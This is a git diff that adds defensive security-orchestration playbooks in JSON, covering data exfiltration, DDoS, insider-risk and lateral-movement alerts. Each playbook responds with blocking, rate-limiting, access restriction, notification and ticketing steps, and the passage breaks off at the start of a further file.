b/playbooks/packs/v1/data-exfil/exfil-personal-cloud.playbook.jsonnew file mode 100644index 000000000..c07779d24--- /dev/null+++ b/playbooks/packs/v1/data-exfil/exfil-personal-cloud.playbook.json@@ -0,0 +1,79 @@+{+ "id": "exfil-personal-cloud-v1",+ "name": "Exfil: Personal Cloud Storage Upload",+ "description": "Triggered when corporate data uploads to a personal cloud (personal Drive, Dropbox, iCloud). Blocks dest, manager notify.",+ "version": "1.0.0",+ "tags": [+ "data-exfil",+ "exfil",+ "saas",+ "mitre.t1567.002"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "medium",+ "high"+ ],+ "tags": [+ "data-exfil"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "block",+ "name": "Block destination at proxy",+ "type": "http",+ "params": {+ "url": "${PROXY_URL}/policy/block",+ "method": "POST",+ "body_template": "{\"host\":\"{{alert.dst_host}}\",\"reason\":\"personal-cloud\"}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate access pattern",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "identity"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify user's manager",+ "type": "notify",+ "params": {+ "channel": "email",+ "message_template": "Personal-cloud upload by {{alert.user}} to {{alert.dst_host}} blocked.",+ "webhook_env": "EMAIL_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open exfil ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P3",+ "title_template": "Personal cloud: {{alert.user}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/data-exfil/exfil-removable-media.playbook.json b/playbooks/packs/v1/data-exfil/exfil-removable-media.playbook.jsonnew file mode 100644index 000000000..8c8250f5e--- /dev/null+++ b/playbooks/packs/v1/data-exfil/exfil-removable-media.playbook.json@@ -0,0 +1,78 @@+{+ "id": "exfil-removable-media-v1",+ "name": "Exfil: Sensitive Data to Removable Media",+ "description": "Triggered when a sensitive file is written to a USB volume. Blocks USB writes via EDR policy and opens a ticket.",+ "version": "1.0.0",+ "tags": [+ "data-exfil",+ "exfil",+ "endpoint",+ "usb",+ "mitre.t1052"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "medium"+ ],+ "tags": [+ "data-exfil"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "block-usb",+ "name": "Push USB write-block to host",+ "type": "http",+ "params": {+ "url": "${EDR_URL}/hosts/{{alert.host}}/policy/usb-readonly",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate file sensitivity",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify user's manager",+ "type": "notify",+ "params": {+ "channel": "email",+ "message_template": "Sensitive write to USB by {{alert.user}}. Host USB now read-only.",+ "webhook_env": "EMAIL_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open USB-exfil ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P3",+ "title_template": "USB exfil: {{alert.user}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/ddos/ddos-amplification-dns.playbook.json b/playbooks/packs/v1/ddos/ddos-amplification-dns.playbook.jsonnew file mode 100644index 000000000..8112a786e--- /dev/null+++ b/playbooks/packs/v1/ddos/ddos-amplification-dns.playbook.json@@ -0,0 +1,78 @@+{+ "id": "ddos-amplification-dns-v1",+ "name": "DDoS: DNS Amplification",+ "description": "Triggered when an inbound spike of crafted DNS queries hits an authoritative server. Sinkholes spoofed sources.",+ "version": "1.0.0",+ "tags": [+ "ddos",+ "ddos",+ "dns",+ "mitre.t1498.002"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high"+ ],+ "tags": [+ "ddos"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "sinkhole",+ "name": "Sinkhole spoofed sources",+ "type": "http",+ "params": {+ "url": "${DNS_URL}/sinkhole-batch",+ "method": "POST",+ "body_template": "{\"src_ips\": {{alert.spoofed_sources}}}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate amplification",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify network team",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "DNS amplification mitigated. {{context.sinkholed_count}} sources sinkholed.",+ "webhook_env": "SLACK_NETWORK_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open DNS-amp ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P2",+ "title_template": "DNS amplification: {{alert.target}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/ddos/ddos-app-layer-l7.playbook.json b/playbooks/packs/v1/ddos/ddos-app-layer-l7.playbook.jsonnew file mode 100644index 000000000..a7612e1ad--- /dev/null+++ b/playbooks/packs/v1/ddos/ddos-app-layer-l7.playbook.json@@ -0,0 +1,92 @@+{+ "id": "ddos-app-layer-l7-v1",+ "name": "DDoS: Application Layer L7",+ "description": "Triggered by anomalous L7 request rate or pattern. Engages WAF rate-limit rule and challenge-page.",+ "version": "1.0.0",+ "tags": [+ "ddos",+ "ddos",+ "waf",+ "mitre.t1498.001"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high",+ "critical"+ ],+ "tags": [+ "ddos"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "waf-rl",+ "name": "Apply WAF rate-limit",+ "type": "http",+ "params": {+ "url": "${WAF_URL}/rate-limit",+ "method": "POST",+ "body_template": "{\"target\":\"{{alert.target}}\",\"rps\":{{alert.threshold_rps}}}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "challenge",+ "name": "Enable challenge page",+ "type": "http",+ "params": {+ "url": "${WAF_URL}/challenge/enable",+ "method": "POST",+ "body_template": "{\"target\":\"{{alert.target}}\"}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate L7 signature",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify SOC + platform",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "L7 DDoS on {{alert.target}}. WAF rate-limit + challenge on.",+ "webhook_env": "SLACK_SOC_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open L7 DDoS ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P2",+ "title_template": "L7 DDoS: {{alert.target}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/ddos/ddos-credential-stuffing-fraud.playbook.json b/playbooks/packs/v1/ddos/ddos-credential-stuffing-fraud.playbook.jsonnew file mode 100644index 000000000..287c81131--- /dev/null+++ b/playbooks/packs/v1/ddos/ddos-credential-stuffing-fraud.playbook.json@@ -0,0 +1,103 @@+{+ "id": "ddos-credential-stuffing-fraud-v1",+ "name": "DDoS: Auth-Endpoint Credential Stuffing",+ "description": "Triggered when /login takes a sustained spike of failed attempts. Combines DDoS + credential-stuffing response: WAF challenge, rate-limit, source-IP block.",+ "version": "1.0.0",+ "tags": [+ "ddos",+ "ddos",+ "ato",+ "mitre.t1110.004"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high"+ ],+ "tags": [+ "ddos"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "challenge",+ "name": "Enable WAF challenge on /login",+ "type": "http",+ "params": {+ "url": "${WAF_URL}/challenge/enable",+ "method": "POST",+ "body_template": "{\"path\":\"/login\"}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "rate-limit",+ "name": "Apply per-IP rate-limit",+ "type": "http",+ "params": {+ "url": "${WAF_URL}/rate-limit",+ "method": "POST",+ "body_template": "{\"path\":\"/login\",\"per\":\"ip\",\"rps\":5}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "b1",+ "name": "Block top abusers",+ "type": "block_ip",+ "params": {+ "ip_field": "alert.top_abuser_ip",+ "duration": "24h"+ },+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate cred-stuffing campaign",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "identity"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify SOC",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "Auth-endpoint credential stuffing on /login mitigated.",+ "webhook_env": "SLACK_SOC_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open auth-DDoS ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P2",+ "title_template": "Auth DDoS: {{alert.target}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/ddos/ddos-syn-flood.playbook.json b/playbooks/packs/v1/ddos/ddos-syn-flood.playbook.jsonnew file mode 100644index 000000000..5e1d517ca--- /dev/null+++ b/playbooks/packs/v1/ddos/ddos-syn-flood.playbook.json@@ -0,0 +1,91 @@+{+ "id": "ddos-syn-flood-v1",+ "name": "DDoS: SYN Flood",+ "description": "Triggered by SYN flood pattern at edge. Enables SYN cookies and increases backend capacity.",+ "version": "1.0.0",+ "tags": [+ "ddos",+ "ddos",+ "network",+ "mitre.t1498"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high",+ "critical"+ ],+ "tags": [+ "ddos"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "syn-cookies",+ "name": "Enable SYN cookies at edge",+ "type": "http",+ "params": {+ "url": "${EDGE_URL}/syn-cookies/enable",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "scale",+ "name": "Scale backend capacity",+ "type": "http",+ "params": {+ "url": "${PLATFORM_URL}/scale",+ "method": "POST",+ "body_template": "{\"target\":\"{{alert.target}}\",\"replicas\":\"+50%\"}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate flood",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify network on-call",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "SYN flood on {{alert.target}}. SYN cookies + scale-out.",+ "service_key_env": "PD_NETWORK_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open SYN-flood ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "SYN flood: {{alert.target}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/ddos/ddos-volumetric-l3.playbook.json b/playbooks/packs/v1/ddos/ddos-volumetric-l3.playbook.jsonnew file mode 100644index 000000000..2995bef38--- /dev/null+++ b/playbooks/packs/v1/ddos/ddos-volumetric-l3.playbook.json@@ -0,0 +1,78 @@+{+ "id": "ddos-volumetric-l3-v1",+ "name": "DDoS: Volumetric L3/L4",+ "description": "Triggered by volumetric flood detection at edge. Engages scrubbing provider and pages on-call.",+ "version": "1.0.0",+ "tags": [+ "ddos",+ "ddos",+ "network",+ "mitre.t1498"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "critical"+ ],+ "tags": [+ "ddos"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "scrub-on",+ "name": "Engage DDoS scrubbing",+ "type": "http",+ "params": {+ "url": "${DDOS_URL}/scrubbing/enable",+ "method": "POST",+ "body_template": "{\"target\":\"{{alert.target}}\"}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate attack signature",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page network on-call",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "L3/L4 DDoS on {{alert.target}}. Scrubbing engaged.",+ "service_key_env": "PD_NETWORK_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open DDoS ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "L3/L4 DDoS: {{alert.target}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/insider-risk/insider-after-hours-access.playbook.json b/playbooks/packs/v1/insider-risk/insider-after-hours-access.playbook.jsonnew file mode 100644index 000000000..9ea99a446--- /dev/null+++ b/playbooks/packs/v1/insider-risk/insider-after-hours-access.playbook.json@@ -0,0 +1,75 @@+{+ "id": "insider-after-hours-access-v1",+ "name": "Insider: Anomalous After-Hours Access",+ "description": "Triggered when a user accesses sensitive systems outside their normal pattern. Step-up MFA and log for HR review.",+ "version": "1.0.0",+ "tags": [+ "insider-risk",+ "insider",+ "anomaly",+ "mitre.t1078"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "medium"+ ],+ "tags": [+ "insider-risk"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Enrich user normal pattern",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.user"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "step-up",+ "name": "Force MFA step-up",+ "type": "http",+ "params": {+ "url": "${IDP_BASE_URL}/users/{{alert.user}}/factors/challenge",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Score anomaly likelihood",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "identity"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "t1",+ "name": "Open after-hours review",+ "type": "create_ticket",+ "params": {+ "priority": "P4",+ "title_template": "After-hours access: {{alert.user}}",+ "queue": "hr"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/insider-risk/insider-mass-download.playbook.json b/playbooks/packs/v1/insider-risk/insider-mass-download.playbook.jsonnew file mode 100644index 000000000..f004a8f13--- /dev/null+++ b/playbooks/packs/v1/insider-risk/insider-mass-download.playbook.json@@ -0,0 +1,88 @@+{+ "id": "insider-mass-download-v1",+ "name": "Insider: Mass File Download",+ "description": "Triggered when a single user downloads >N files from a sensitive store in <T window. Reduces user permissions and notifies manager.",+ "version": "1.0.0",+ "tags": [+ "insider-risk",+ "insider",+ "dlp",+ "mitre.t1530"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high"+ ],+ "tags": [+ "insider-risk"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Enrich user role + tenure",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.user"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "readonly",+ "name": "Set sensitive-store ACL to read-only",+ "type": "http",+ "params": {+ "url": "${SAAS_URL}/acl/{{alert.user}}/readonly",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate access pattern",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "identity"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify user's manager",+ "type": "notify",+ "params": {+ "channel": "email",+ "message_template": "High-volume download by {{alert.user}}. Review needed.",+ "webhook_env": "EMAIL_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open insider-risk ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P3",+ "title_template": "Mass download: {{alert.user}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/insider-risk/insider-privilege-misuse.playbook.json b/playbooks/packs/v1/insider-risk/insider-privilege-misuse.playbook.jsonnew file mode 100644index 000000000..38c8726ec--- /dev/null+++ b/playbooks/packs/v1/insider-risk/insider-privilege-misuse.playbook.json@@ -0,0 +1,78 @@+{+ "id": "insider-privilege-misuse-v1",+ "name": "Insider: Privilege Misuse",+ "description": "Triggered when a privileged account performs actions outside its approved JIT window. Revokes privilege and pages HR-Sec.",+ "version": "1.0.0",+ "tags": [+ "insider-risk",+ "insider",+ "privilege",+ "mitre.t1078.004"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high",+ "critical"+ ],+ "tags": [+ "insider-risk"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "revoke-priv",+ "name": "Revoke privileged role",+ "type": "http",+ "params": {+ "url": "${IDP_BASE_URL}/users/{{alert.user}}/roles/{{alert.role}}",+ "method": "DELETE"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate privilege misuse",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "identity"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page HR-Sec",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "Privilege misuse by {{alert.user}} ({{alert.role}}). Role revoked.",+ "service_key_env": "PD_HRSEC_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open privilege-misuse ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "Privilege misuse: {{alert.user}}",+ "queue": "hr"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/insider-risk/insider-resignation-data-access.playbook.json b/playbooks/packs/v1/insider-risk/insider-resignation-data-access.playbook.jsonnew file mode 100644index 000000000..60d1e3eb5--- /dev/null+++ b/playbooks/packs/v1/insider-risk/insider-resignation-data-access.playbook.json@@ -0,0 +1,89 @@+{+ "id": "insider-resignation-data-access-v1",+ "name": "Insider: Resignation + Sensitive Access",+ "description": "Triggered when a user with a recent resignation flag accesses sensitive data. Read-only mode and HR audit.",+ "version": "1.0.0",+ "tags": [+ "insider-risk",+ "insider",+ "hr",+ "mitre.t1530"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "medium",+ "high"+ ],+ "tags": [+ "insider-risk"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Enrich HR resignation status",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.user"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "readonly",+ "name": "Force read-only on sensitive scopes",+ "type": "http",+ "params": {+ "url": "${SAAS_URL}/acl/{{alert.user}}/scopes/sensitive/readonly",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate exit-risk pattern",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "identity"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify HR + manager",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "Resigning user {{alert.user}} accessed sensitive data. Read-only enforced.",+ "webhook_env": "SLACK_HR_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open exit-risk ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P2",+ "title_template": "Exit risk: {{alert.user}}",+ "queue": "hr"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/insider-risk/insider-source-code-exfil.playbook.json b/playbooks/packs/v1/insider-risk/insider-source-code-exfil.playbook.jsonnew file mode 100644index 000000000..23c2e26d8--- /dev/null+++ b/playbooks/packs/v1/insider-risk/insider-source-code-exfil.playbook.json@@ -0,0 +1,89 @@+{+ "id": "insider-source-code-exfil-v1",+ "name": "Insider: Source-Code Exfil",+ "description": "Triggered when a developer pushes private source to a personal remote or pastebin-like target. Blocks dest, pages eng-leadership.",+ "version": "1.0.0",+ "tags": [+ "insider-risk",+ "insider",+ "source-code",+ "mitre.t1567"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "critical"+ ],+ "tags": [+ "insider-risk"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Enrich destination",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.dst_host"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "block-dest",+ "name": "Block destination at proxy",+ "type": "http",+ "params": {+ "url": "${PROXY_URL}/policy/block",+ "method": "POST",+ "body_template": "{\"host\":\"{{alert.dst_host}}\",\"reason\":\"src-exfil\"}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate exfil chain",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page eng-leadership",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "Source-code exfil suspected from {{alert.user}} to {{alert.dst_host}}.",+ "service_key_env": "PD_ENG_LEAD_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open exfil ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "Source-code exfil: {{alert.user}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/lateral-movement/lateral-cross-domain.playbook.json b/playbooks/packs/v1/lateral-movement/lateral-cross-domain.playbook.jsonnew file mode 100644index 000000000..0d38a2f8e--- /dev/null+++ b/playbooks/packs/v1/lateral-movement/lateral-cross-domain.playbook.json@@ -0,0 +1,78 @@+{+ "id": "lateral-cross-domain-v1",+ "name": "Lateral: Cross-Domain Movement",+ "description": "Triggered when an account from one trust domain authenticates to an asset in a separately-classified domain in a way that violates policy. Segments the network and investigates.",+ "version": "1.0.0",+ "tags": [+ "lateral-movement",+ "lateral",+ "trust",+ "mitre.t1021"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "critical"+ ],+ "tags": [+ "lateral-movement"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "segment",+ "name": "Apply network segmentation rule",+ "type": "http",+ "params": {+ "url": "${FW_URL}/policy/segment",+ "method": "POST",+ "body_template": "{\"src\":\"{{alert.src_host}}\",\"dst_domain\":\"{{alert.dst_domain}}\"}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate cross-domain movement",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page on-call",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "Cross-domain lateral {{alert.user}}. Segmentation applied.",+ "service_key_env": "PD_SOC_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open cross-domain ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "Cross-domain lateral: {{alert.user}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/lateral-movement/lateral-kerberoasting.playbook.json b/playbooks/packs/v1/lateral-movement/lateral-kerberoasting.playbook.jsonnew file mode 100644index 000000000..284bdf34f--- /dev/null+++ b/playbooks/packs/v1/lateral-movement/lateral-kerberoasting.playbook.json@@ -0,0 +1,90 @@+{+ "id": "lateral-kerberoasting-v1",+ "name": "Lateral: Kerberoasting",+ "description": "Triggered by abnormal SPN-ticket request volume from a single user. Resets impacted service-account credentials.",+ "version": "1.0.0",+ "tags": [+ "lateral-movement",+ "lateral",+ "ad",+ "mitre.t1558.003"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high"+ ],+ "tags": [+ "lateral-movement"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "inv",+ "name": "Investigate kerberoasting",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "identity"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "reset-svc",+ "name": "Reset impacted SVC accounts",+ "type": "http",+ "params": {+ "url": "${IDP_BASE_URL}/service-accounts/bulk-reset",+ "method": "POST",+ "body_template": "{\"accounts\": {{context.impacted_svc_accounts}}}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "disable-user",+ "name": "Disable suspect user",+ "type": "http",+ "params": {+ "url": "${IDP_BASE_URL}/users/{{alert.user}}/disable",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "n1",+ "name": "Page identity team",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "Kerberoasting by {{alert.user}}. SVC accounts reset.",+ "service_key_env": "PD_IDENTITY_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open kerberoast ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "Kerberoasting: {{alert.user}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/lateral-movement/lateral-pass-the-hash.playbook.json b/playbooks/packs/v1/lateral-movement/lateral-pass-the-hash.playbook.jsonnew file mode 100644index 000000000..d4b2ccbdc--- /dev/null+++ 